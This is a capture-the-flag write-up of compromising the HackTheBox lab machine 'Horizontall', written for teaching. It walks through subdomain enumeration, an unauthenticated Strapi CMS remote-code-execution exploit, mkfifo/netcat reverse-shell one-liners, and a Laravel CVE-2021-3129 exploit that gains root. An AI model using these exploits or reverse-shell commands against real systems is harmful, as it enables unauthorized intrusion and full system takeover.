HackTheBox - Horizontall writeup

6 minute read

Horizontall on hackTheBox

Summary

Foothold: Subdomains

User: Strapi CMS RCE

Privesc: Laravel CVE-2021-3129

Enumeration

Starting with nmap to determine what ports are open and what services are running. Full command and result of scanning:

┌──(m0rn1ngstr㉿kali)-[~/htb/Horizontal]
└─$ sudo nmap -T4 -A -p- -oN Enumeration/nmap.txt 10.10.11.105
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb

On port 80 we have a web page. Add to /etc/hosts ip address as horizontall.htb.

Let’s enumerate web-application by brute-forcing directories with gobuster

┌──(m0rn1ngstr㉿kali)-[~/htb/Horizontal]
└─$ gobuster dir -u http://horizontall.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50 -o Enumeration/dirs_80.txt                                                                  
===============================================================                                                      
Gobuster v3.1.0                                                                                                      
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                        
===============================================================                                                      
[+] Url:                     http://horizontall.htb/                                                                 
[+] Method:                  GET                                                                                     
[+] Threads:                 50                                                                                      
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt                          
[+] Negative Status codes:   404                                                                                     
[+] User Agent:              gobuster/3.1.0                                                                          
[+] Timeout:                 10s                                                                                     
===============================================================                                                      
2021/09/20 02:23:14 Starting gobuster in directory enumeration mode                                                  
===============================================================                                                      
/css                  (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]                                    
/favicon.ico          (Status: 200) [Size: 4286]                                                                     
/img                  (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]                                    
/index.html           (Status: 200) [Size: 901]                                                                      
/js                   (Status: 301) [Size: 194] [--> http://horizontall.htb/js/]                                     
                                                                                                                     
===============================================================                                                      
2021/09/20 02:23:25 Finished                                                                                         
===============================================================

No interesting directories or files were found. The functionality of the web app also will not push us forward. Let’s enumerate further.

Using FFUF we can determine existing subdomains:

┌──(m0rn1ngstr㉿kali)-[~/htb/Horizontal]
└─$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://horizontall.htb/ -H "Host: FUZZ.horizontall.htb" -t 100 -fw 7                                                                            

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://horizontall.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.horizontall.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response words: 7
________________________________________________

www                     [Status: 200, Size: 901, Words: 43, Lines: 2]
WWW                     [Status: 200, Size: 901, Words: 43, Lines: 2]
api-prod                [Status: 200, Size: 413, Words: 76, Lines: 20]

Add to /etc/hosts api-prod.horizontall.htb.

There is nothing interesting on the page, but this web app runs on Strapi CMS. We can determine it with Wappalyzer

User

After a quick search in google, we found an exploit for Remote Code Execution in Strapi CMS, which can be executed without authentication Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)

Download it on your machine and run with this syntax

┌──(m0rn1ngstr㉿kali)-[~/htb/Horizontal/User]
└─$ python3 strapi_rce.py http://api-prod.horizontall.htb/
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit

[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMyMTIwNDk4LCJleHAiOjE2MzQ3MTI0OTh9.dElaAodWjCH-yHseAkLQcNrNtBEvuD3HV-X13uGuYFY
$>

Now we can execute commands. Let’s initiate reverse shell. Firstly set up a listener. Next enter the reverse shell command.

┌──(m0rn1ngstr㉿kali)-[~/htb/Horizontal]
└─$ nc -lvnp 21
Listening on 0.0.0.0 21
Connection received on 10.10.11.105 52044
bash: cannot set terminal process group (1908): Inappropriate ioctl for device
bash: no job control in this shell
strapi@horizontall:~/myapi$ id   
id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
┌──(m0rn1ngstr㉿kali)-[~/htb/Horizontal/User]
└─$ python3 strapi_rce.py http://api-prod.horizontall.htb/
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit

[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMyMTIwNDk4LCJleHAiOjE2MzQ3MTI0OTh9.dElaAodWjCH-yHseAkLQcNrNtBEvuD3HV-X13uGuYFY

$> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.2 21 >/tmp/f
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output

Now we have user shell

strapi@horizontall:~$ cd /home/developer
strapi@horizontall:/home/developer$ ls -la
total 108
drwxr-xr-x  8 developer developer  4096 Aug  2 12:07 .
drwxr-xr-x  3 root      root       4096 May 25 11:43 ..
lrwxrwxrwx  1 root      root          9 Aug  2 12:05 .bash_history -> /dev/null
-rw-r-----  1 developer developer   242 Jun  1 12:53 .bash_logout
-rw-r-----  1 developer developer  3810 Jun  1 12:47 .bashrc
drwx------  3 developer developer  4096 May 26 12:00 .cache
-rw-rw----  1 developer developer 58460 May 26 11:59 composer-setup.php
drwx------  5 developer developer  4096 Jun  1 11:54 .config
drwx------  3 developer developer  4096 May 25 11:45 .gnupg
drwxrwx---  3 developer developer  4096 May 25 19:44 .local
drwx------ 12 developer developer  4096 May 26 12:21 myproject
-rw-r-----  1 developer developer   807 Apr  4  2018 .profile
drwxrwx---  2 developer developer  4096 Jun  4 11:21 .ssh
-r--r--r--  1 developer developer    33 Sep 19 19:30 user.txt
lrwxrwxrwx  1 root      root          9 Aug  2 12:07 .viminfo -> /dev/null
strapi@horizontall:/home/developer$ 
strapi@horizontall:/home/developer$ cat user.txt 
[REDACTED]
strapi@horizontall:/home/developer$

Root

During post-enumeration, we determine that localhost has open ports.

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports                                                                                                                                                                     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                                                                                                                                                            
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1908/node /usr/bin/ 
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -

To examine running service we need to port forward via ssh. To do that we initially need to retrieve ssh keys from the home folder.

strapi@horizontall:~/.ssh$ ls -la
ls -la
total 16
drwx------  2 strapi strapi 4096 Sep 19 19:48 .
drwxr-xr-x 10 strapi strapi 4096 Sep 19 19:48 ..
-rw-------  1 strapi strapi 1679 Sep 19 19:48 id_rsa
-rw-r--r--  1 strapi strapi  400 Sep 19 19:48 id_rsa.pub

Next, we will execute a command to forward the open port. As authentication -i will be used private key. Next, to access port 8000 running on localhost, we will indicate by argument 8000:127.0.0.1:8000. On our host, it will be also available by port 8000. Next enter username and hostname and run the command

┌──(m0rn1ngstr㉿kali)-[~/htb/Horizontal/User]
└─$ sudo ssh -i id_rsa -N -L 8000:127.0.0.1:8000 strapi@horizontall.htb

Here we can see the default page for laravel and its version. This version allows unauthenticated remote attackers to execute arbitrary code. This is exploitable on sites using debug mode with Laravel before 8.4.2.

Use exploit available on GitHub - nth347/CVE-2021-3129_exploit: Exploit for CVE-2021-3129

To proof correct work of exploit

┌──(m0rn1ngstr㉿kali)-[~/htb/Horizontal/Privesc]
└─$ python3 exploit.py http://localhost:8000 Monolog/RCE1 "id"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

uid=0(root) gid=0(root) groups=0(root)

[i] Trying to clear logs
[+] Logs cleared

Initiate reverse shell

┌──(m0rn1ngstr㉿kali)-[~/htb/Horizontal/Privesc]
└─$ python3 exploit.py http://localhost:8000 Monolog/RCE1 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.8 4242 >/tmp/f"                                                       
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR

Receive shell with listener

┌──(m0rn1ngstr㉿kali)-[~/htb/Horizontal]
└─$ nc -lvnp 4242
Listening on 0.0.0.0 4242
Connection received on 10.10.11.105 53242
bash: cannot set terminal process group (2316): Inappropriate ioctl for device
bash: no job control in this shell
root@horizontall:/home/developer/myproject/public# id
id
uid=0(root) gid=0(root) groups=0(root)
root@horizontall:/home/developer/myproject/public# ls -la /root
ls -la /root
total 68
drwx------  7 root root  4096 Sep 21 09:46 .
drwxr-xr-x 24 root root  4096 Aug 23 11:29 ..
lrwxrwxrwx  1 root root     9 Aug  2 12:05 .bash_history -> /dev/null
-rw-r--r--  1 root root  3145 Jun  1 12:54 .bashrc
-rwxr-xr-x  1 root root   185 May 28 23:47 boot.sh
drwx------  2 root root  4096 Jun  3 02:07 .cache
drwx------  3 root root  4096 Jun  3 02:07 .gnupg
drwxr-xr-x  3 root root  4096 May 25 19:26 .local
-rw-------  1 root root   550 Aug  2 17:34 .mysql_history
-rw-r--r--  1 root root     1 Sep 21 09:46 pid
drwxr-xr-x  5 root root  4096 Jul 29 04:41 .pm2
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
-rw-r--r--  1 root root   384 Jul 29 04:51 restart.sh
-r--------  1 root root    33 Sep 19 19:30 root.txt
drwx------  2 root root  4096 May 25 11:43 .ssh
-rw-rw-rw-  1 root root 12069 Aug  3 21:54 .viminfo
root@horizontall:/home/developer/myproject/public# cat /root/root.txt
cat /root/root.txt
[REDACTED]

Rooted

That’s it for this machine. Stay safe and Happy Hacking!